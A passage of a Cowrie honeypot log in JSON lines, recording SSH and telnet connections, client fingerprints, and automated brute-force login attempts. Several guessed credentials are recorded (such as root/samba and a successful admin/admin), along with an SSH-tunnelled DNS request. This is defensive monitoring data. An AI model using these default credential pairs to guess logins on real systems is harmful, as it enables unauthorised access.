"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:46.494216Z","src_ip":"68.183.236.1","session":"96a2d69efba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simplepass","message":"login attempt [root/simplepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:47.547638Z","src_ip":"68.183.236.1","session":"96a2d69efba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:48.804714Z","src_ip":"68.183.236.1","session":"96a2d69efba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47598,"dst_ip":"10.17.0.5","dst_port":22,"session":"081722e9b531","protocol":"ssh","message":"New connection: 87.251.64.176:47598 (10.17.0.5:22) [session: 081722e9b531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:51.981089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:51.985661Z","src_ip":"87.251.64.176","session":"081722e9b531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:52.086285Z","src_ip":"87.251.64.176","session":"081722e9b531","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:52.376679Z","src_ip":"87.251.64.176","session":"081722e9b531","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:52.475337Z","session":"081722e9b531","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:52.573423Z","src_ip":"87.251.64.176","session":"081722e9b531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:52.672453Z","src_ip":"87.251.64.176","session":"081722e9b531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.80866456031799,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:53.077196Z","src_ip":"152.42.224.71","session":"5fb35ee1440f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":55906,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb300d16bdc6","protocol":"ssh","message":"New connection: 43.133.34.13:55906 (159.203.135.109:22) [session: eb300d16bdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:53.090788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:53.094659Z","src_ip":"43.133.34.13","session":"eb300d16bdc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:53.339028Z","src_ip":"43.133.34.13","session":"eb300d16bdc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"godisgreat","message":"login attempt [root/godisgreat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:54.350327Z","src_ip":"43.133.34.13","session":"eb300d16bdc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:55.597998Z","src_ip":"43.133.34.13","session":"eb300d16bdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44410,"dst_ip":"10.17.0.5","dst_port":23,"session":"75cb119f0f48","protocol":"telnet","message":"New connection: 152.42.224.71:44410 (10.17.0.5:23) [session: 75cb119f0f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:56.698157Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":51328,"dst_ip":"10.17.0.5","dst_port":22,"session":"9186260a792b","protocol":"ssh","message":"New connection: 45.78.230.231:51328 (10.17.0.5:22) [session: 9186260a792b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:56.965064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:56.969169Z","src_ip":"45.78.230.231","session":"9186260a792b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:02.969095Z","src_ip":"45.78.230.231","session":"9186260a792b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:02.979059Z","src_ip":"45.78.230.231","session":"9186260a792b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":56992,"dst_ip":"159.203.135.109","dst_port":22,"session":"478312c0fb56","protocol":"ssh","message":"New connection: 43.130.35.229:56992 (159.203.135.109:22) [session: 478312c0fb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:05.103388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:05.108359Z","src_ip":"43.130.35.229","session":"478312c0fb56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:05.177608Z","src_ip":"43.130.35.229","session":"478312c0fb56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverts3","message":"login attempt [root/serverts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:05.485686Z","src_ip":"43.130.35.229","session":"478312c0fb56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:06.557220Z","src_ip":"43.130.35.229","session":"478312c0fb56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39084,"dst_ip":"10.17.0.5","dst_port":23,"session":"26e8daa9d0bd","protocol":"telnet","message":"New connection: 152.42.224.71:39084 (10.17.0.5:23) [session: 26e8daa9d0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:09.018673Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39100,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ac275ffb48","protocol":"telnet","message":"New connection: 152.42.224.71:39100 (10.17.0.5:23) [session: e8ac275ffb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:09.847431Z"}
{"eventid":"cowrie.session.closed","duration":120.00340366363525,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:12.245687Z","src_ip":"152.42.224.71","session":"a8857701ca12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.17619633674622,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:22.561867Z","src_ip":"152.42.224.71","session":"1b22eaf4573c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":43044,"dst_ip":"159.203.135.109","dst_port":22,"session":"32321e63d592","protocol":"ssh","message":"New connection: 37.143.61.241:43044 (159.203.135.109:22) [session: 32321e63d592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:22.603293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:22.607764Z","src_ip":"37.143.61.241","session":"32321e63d592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:22.693865Z","src_ip":"37.143.61.241","session":"32321e63d592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba","message":"login attempt [root/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:23.070127Z","src_ip":"37.143.61.241","session":"32321e63d592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:24.158648Z","src_ip":"37.143.61.241","session":"32321e63d592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.181.223.233","src_port":56624,"dst_ip":"10.17.0.5","dst_port":22,"session":"749349c662ec","protocol":"ssh","message":"New connection: 47.181.223.233:56624 (10.17.0.5:22) [session: 749349c662ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:29.971826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:29.977212Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.057935Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:22:ba:9a:d7:b5:af:68:01:0a:af:87:2a:c4:fd:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGjgW7m7fiHftgaLQg7n+iuEiGAhejADNakqr2SnY+xmkeEixldzAPx4qnxR6NP37yAITCXTOMli0WFLqyLpC9KQg+1xWrwe8VQea5/3rex27HsdZRCiun3ySi/NxwiDtLloqVVhADDvCb8iiRUltt2iL6vYJ5hI+zaV4exg9ou0on5PEbNtEa6YEP0eh6Zn49f8sT1NRtLpmC3ZorwSAd5ELCIlW0ulCTdu358Ji3WNVLZ4Nvi4IddLBgAmMfma/N3KtS9niPn8oBE5yNgad1wcmjWz5LSCmkbZ/tqbMVcG7O9fWpKusz0Q3HRY0LLY7IQSVfio7QJgFiHT5qhFdH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:22:ba:9a:d7:b5:af:68:01:0a:af:87:2a:c4:fd:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.416008Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:22:ba:9a:d7:b5:af:68:01:0a:af:87:2a:c4:fd:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGjgW7m7fiHftgaLQg7n+iuEiGAhejADNakqr2SnY+xmkeEixldzAPx4qnxR6NP37yAITCXTOMli0WFLqyLpC9KQg+1xWrwe8VQea5/3rex27HsdZRCiun3ySi/NxwiDtLloqVVhADDvCb8iiRUltt2iL6vYJ5hI+zaV4exg9ou0on5PEbNtEa6YEP0eh6Zn49f8sT1NRtLpmC3ZorwSAd5ELCIlW0ulCTdu358Ji3WNVLZ4Nvi4IddLBgAmMfma/N3KtS9niPn8oBE5yNgad1wcmjWz5LSCmkbZ/tqbMVcG7O9fWpKusz0Q3HRY0LLY7IQSVfio7QJgFiHT5qhFdH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.420920Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:f8:87:0e:f4:24:1a:38:00:74:ca:cf:d9:e3:c5:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGbmVgob4cm2ctbnA6BoMeMA4ltw7oV66lfn96JZ1RyldV5k684pai/0sjyFGIFZw2m9Ndy9GqiXpy6p8wnx6bZHxKseU8FSDKjcjUvvw/mwc174NKcvYIDoYtvoyZlFddv1UtEvc8m3fBMT/ZIiIQ8i5LINfGklTeEp/EiE0NJUcSjG/30F9GgzUHzpKLjU21Efnj7l0BwK7GGZitylYAvHsWtl+o+J4wWndr7TgmngtQFh75c2Zo5lO+SwFR/kIoLflIQIA96jhG0j7k4Rsf70ftb53EmVYDacGVyNKrN4WjcthEmr89yc6YgD0RSJGZKGIfwoqvI6JNbxlko3H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:f8:87:0e:f4:24:1a:38:00:74:ca:cf:d9:e3:c5:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.497862Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:f8:87:0e:f4:24:1a:38:00:74:ca:cf:d9:e3:c5:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGbmVgob4cm2ctbnA6BoMeMA4ltw7oV66lfn96JZ1RyldV5k684pai/0sjyFGIFZw2m9Ndy9GqiXpy6p8wnx6bZHxKseU8FSDKjcjUvvw/mwc174NKcvYIDoYtvoyZlFddv1UtEvc8m3fBMT/ZIiIQ8i5LINfGklTeEp/EiE0NJUcSjG/30F9GgzUHzpKLjU21Efnj7l0BwK7GGZitylYAvHsWtl+o+J4wWndr7TgmngtQFh75c2Zo5lO+SwFR/kIoLflIQIA96jhG0j7k4Rsf70ftb53EmVYDacGVyNKrN4WjcthEmr89yc6YgD0RSJGZKGIfwoqvI6JNbxlko3H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:36:30.501679Z","src_ip":"47.181.223.233","session":"749349c662ec","protocol":"ssh"}
